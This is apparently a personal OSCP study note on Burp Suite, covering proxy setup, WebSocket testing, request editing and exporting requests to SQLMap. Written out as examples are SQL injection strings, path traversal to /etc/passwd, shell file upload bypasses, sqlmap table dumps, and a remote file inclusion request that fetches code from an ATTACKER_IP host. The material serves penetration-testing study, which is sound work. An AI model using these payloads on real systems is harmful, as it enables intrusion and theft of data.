Pearson's OSCP Notebook

Burp Suite

Properties1
tagsburp, burp-suite, web, proxy, intercept, repeater, intruder, sqlmap, file-upload, websocket, oscp

5 min read

Burp Suite — OSCP Notes

What is Burp Suite?

Burp Suite is an intercepting HTTP/HTTPS proxy between your browser and the target. You see and edit every request before it reaches the server — the standard tool for manual web exploitation when scanners miss logic bugs.

OSCP relevance: File upload bypass, auth bypass, manual SQLi confirmation, parameter tampering, saving requests for SQLMap (-r), vhost discovery prep, and session/cookie manipulation.

Setup (Kali / Exam)

# Kali — Community Edition pre-installed
burpsuite &
 
# Or from Applications → Web Application Analysis → burpsuite

Browser proxy config

SettingValue
Proxy host127.0.0.1
Proxy port8080 (default)

Firefox: Settings → Network Settings → Manual proxy → HTTP + HTTPS → 127.0.0.1:8080 → No proxy for localhost.

Burp CA cert (HTTPS): Proxy → Proxy settings → Import/export CA certificate → export cacert.der → import in browser as trusted authority.

Core Tabs (What You Actually Use)

TabPurposeOSCP use
Proxy → InterceptPause and edit live requestsUpload bypass, change params, swap cookies
HTTP historyLog of all trafficFind hidden params, copy to Repeater
RepeaterResend one request, tweak, compareSQLi, LFI, auth bypass testing
IntruderAutomated fuzzing (Community = slow)Brute params, simple fuzzing
DecoderBase64, URL, hex encode/decodeDecode tokens, craft payloads
WebSockets historyLog of WS handshake + framesSQLi/CMDi in JSON messages, auth tokens

Community Edition limits: Intruder is throttled — for heavy dir brute use Gobuster or ffuf. Burp shines on manual one-off edits and WebSocket message replay.

📌 WebSockets — intercept, replay, export

Many modern apps use ws:// / wss:// after an HTTP 101 Switching Protocols upgrade. Burp logs these separately from normal HTTP.

Find WebSocket traffic

  1. Browse the app with proxy enabled
  2. Proxy → WebSockets history (or filter HTTP history for Upgrade: websocket)
  3. Select a connection → view sent/received messages (often JSON)

Manual testing (before SQLMap)

  1. Right-click a message → Send to Repeater
  2. Edit payload in the message body:
{"id":"1'"}
{"user":"admin' OR '1'='1--"}
{"cmd":"'; WAITFOR DELAY '0:0:5'--"}
  1. Send → compare responses / timing for SQLi, command injection, auth bypass

Intercept WebSocket messages

Proxy → Options → WebSockets — enable interception of WebSocket messages (same idea as HTTP intercept). Edit frames before they reach the server.

SQLMap + WebSockets

SQLMap cannot consume WebSocket frames directly. Options:

ApproachHow
HTTP harnessLocal script converts HTTP → WS; SQLMap hits http://127.0.0.1:8081/?id=1 — see SQLMap > WebSockets — SQLi over ws:// / wss://
Manual confirm in BurpRepeater proves SQLi → build harness → automate dump with SQLMap
Copy message formatNote exact JSON keys, encoding (base64), and headers from Burp for the bridge script

Other Burp + WebSocket uses

TestBurp action
Auth token in first WS messageCapture handshake + first frame; replay with modified token
IDOR in message fieldsRepeater — change userId, roomId, etc.
XSS in WS responseIf UI renders message content without sanitization
CSWSH (Cross-Site WebSocket Hijacking)Check Origin validation on upgrade request

📌 1) Intercept Workflow

Browser → Burp (8080) → Target
         ↑ edit here
  1. Turn Intercept on
  2. Trigger action in browser (login, upload, search)
  3. Edit request in Burp (filename, Content-Type, param values)
  4. Forward to send
  5. Check response in browser or HTTP history

Common edits

# Change upload filename in POST body
Content-Disposition: form-data; name="file"; filename="shell.php.jpg"
 
# Bypass MIME check
Content-Type: image/jpeg
 
# Change hidden parameter
role=user  →  role=admin
 
# Path traversal in param
file=report.pdf  →  file=../../../../etc/passwd

See File Upload Bypass and Local File Inclusion (LFI).

📌 2) Repeater — Manual Exploit Testing

  1. HTTP history → right-click request → Send to Repeater
  2. Modify URL, headers, body
  3. Send → inspect response pane

SQLi quick test

GET /page?id=1' HTTP/1.1
GET /page?id=1 AND 1=1-- HTTP/1.1
GET /page?id=1 AND 1=2-- HTTP/1.1

Different responses → SQLi likely → automate with SQLMap.

LFI quick test

GET /download?file=../../../../etc/passwd HTTP/1.1
GET /download?file=....//....//etc/passwd HTTP/1.1

RFI quick test

GET /index.php?page=http://ATTACKER_IP:8000/rfi.txt&cmd=id HTTP/1.1

Host rfi.txt on Kali (python3 -m http.server 8000) — full workflow → Remote File Inclusion (RFI)

📌 3) Export Request for SQLMap

Most reliable SQLMap workflow on OSCP:

1. Capture vulnerable request in Burp (with session cookie if needed)
2. Right-click → Save item → request.txt
3. sqlmap -r request.txt --batch --dbs

sqlmap -r request.txt --batch --dbs
sqlmap -r request.txt --batch -D dbname --tables
sqlmap -r request.txt --batch -D dbname -T users --dump

See SQLMap.

📌 4) File Upload Bypass via Burp

When client-side JS blocks .php:

  1. Upload harmless file, intercept in Burp
  2. Change filename= in Content-Disposition
  3. Change Content-Type if server checks MIME
  4. Forward
Content-Disposition: form-data; name="upload"; filename="shell.phtml"
Content-Type: image/png

Double extensions, null bytes (legacy), .php5, .phtml — see File Upload Bypass.

📌 5) Scope & Filters

Target → Scope: Add target URL so Burp only logs relevant traffic.

Filter bar (Proxy history): MIME type, status code, search term.

Match and replace (optional): Proxy → Match and replace — auto-add headers.

📌 6) OSCP Exam Tips

DoDon’t
Use Repeater for quick manual testsRely on Intruder for full dir brute (too slow on CE)
Save working requests as .txt for SQLMapForget session cookies in exported requests
Import CA cert for HTTPS sitesPanic if HTTPS breaks — fix cert first
Send interesting requests to RepeaterRun every scan through Burp Scanner (Pro only)

📌 Quick Cheat Sheet

# Start Burp
burpsuite &
 
# Browser proxy: 127.0.0.1:8080
 
# SQLMap from saved request
sqlmap -r request.txt --batch --dbs
 
# Route SQLMap through Burp (optional debug)
sqlmap -r request.txt --proxy=http://127.0.0.1:8080 --batch

Graph View

Backlinks